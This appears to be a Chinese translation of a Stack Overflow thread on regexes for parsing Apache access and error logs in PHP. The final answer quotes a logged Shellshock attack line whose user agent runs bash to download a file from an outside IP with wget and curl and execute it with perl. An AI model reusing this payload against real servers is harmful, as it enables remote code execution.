使用preg_match在PHP中解析Apache日志

31

我需要将数据保存在一个表中(用于报告、统计等),以便用户可以按时间、用户代理等进行搜索。我有一个脚本,每天运行一次,读取Apache日志,然后将其插入数据库。

日志格式:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"

我的正则表达式:

preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches);

现在,当我输出:

print_r($matches);

Array
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
    [1] => 10.1.1.150
    [2] => -
    [3] => -
    [4] => 29/September/2011
    [5] => 14:21:49
    [6] => -0400
    [7] => GET
    [8] => /info/
    [9] => HTTP/1.1
    [10] => 200
    [11] => 9955
    [12] => "http://www.domain.com/download/"
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
)
我得到的是:"http://www.domain.com/download/",用户代理也是如此。如何在正则表达式中去掉这些"?奖励(有没有什么快速的方法可以轻松插入日期/时间)?
谢谢

这是问题#2221636的副本。 - Daniel S. Sterling
我已经为此编写了一个简单的辅助类。请参见 https://github.com/Spudley/ApacheLogIterator - SDC
@SDC:谢谢Simon,那个迭代器太棒了! - Pete855217
5个回答

47

要在PHP中解析Apache access_log日志,您可以使用以下正则表达式:

$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/';
preg_match($regex ,$log, $matches);

为了匹配Apache的error_log格式,您可以使用这个正则表达式:

$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i';
preg_match($regex, $log, $matches);
$matches[1] = Date and time,           $matches[2] = severity,
$matches[3] = client addr (if present) $matches[4] = log message

它可以匹配带有或不带有客户端的行:

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js

提醒一下,你的正则表达式无法匹配配置错误的用户代理,如"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.50 Safari/537.36"。是的,有人忘记正确设置自己的用户代理了。 - Paul Cream
使用"(.*?)"作为最后一个捕获组,并删除行尾匹配字符$,可以避免上述提到的问题。 - Paul Cream

3

我曾经看到和处理过很多错误的日志解析,这里提供一个希望有效的正则表达式,已在5万行日志上进行了测试,没有任何差异,需要注意的是:

  • auth_user can have spaces
  • response_size can be -
  • http_start_line can at least one space (HTTP/0.9) or two
  • http_start_line may contain double quotes
  • referrer can be empty, have spaces, or double quotes (it's just an HTTP header)
  • user_agent can be empty too, or contain double quotes, and spaces
  • It's hard to distinguish between referrer and user-agent, let's just home the " " between both is discriminent enough, yet we can find the infamous " " in the referrer and in the user-agent, so basically, we're screwed here.

    $ncsa_re = '/^(?P<IP>\S+)
    \ (?P<ident>\S)
    \ (?P<auth_user>.*?) # Spaces are allowed here, can be empty.
    \ (?P<date>\[[^]]+\])
    \ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9
    \ (?P<status_code>[0-9]+) # Status code is _always_ an integer
    \ (?P<response_size>(?:[0-9]+|-)) # Response size can be -
    \ "(?P<referrer>.*)" # Referrer can contains everything: its just a header
    \ "(?P<user_agent>.*)"$/x';
    
希望这有所帮助。

你的正则表达式中的?P是什么意思?我没有找到任何使用正则表达式的东西能够识别它,它只会被标记为错误。 - mutatron
@mutatron 这是一个命名捕获。搜索“命名组”或“命名捕获组”。 - Julien Palard

3
如果您不想捕获双引号,请将它们移出捕获组。
 (\".*?\") 

Should become:

 \"(.*?)\"

作为替代方案,您可以使用trim($str, '"')来对条目进行后处理。

1

你的正则表达式有误。 你应该使用正确的正则表达式。

/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/

1
能否详细说明错误出现在哪里以及为什么会出现这个错误?(这将有助于避免未来重复相同的错误) :) - Andy Hayden
我赞同。没有解释为什么正则表达式是错误的。 - ftrotter
此外,它不匹配标准的Apache日志行。请忽略这个。 - Pete855217

0

我尝试使用了几个这里2015年1月的正则表达式,发现我的apache2日志中没有匹配到一个坏机器人。

这个坏机器人apache2行是一个BASH黑客尝试,我还没试着去找出正则表达式的修正方法:

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接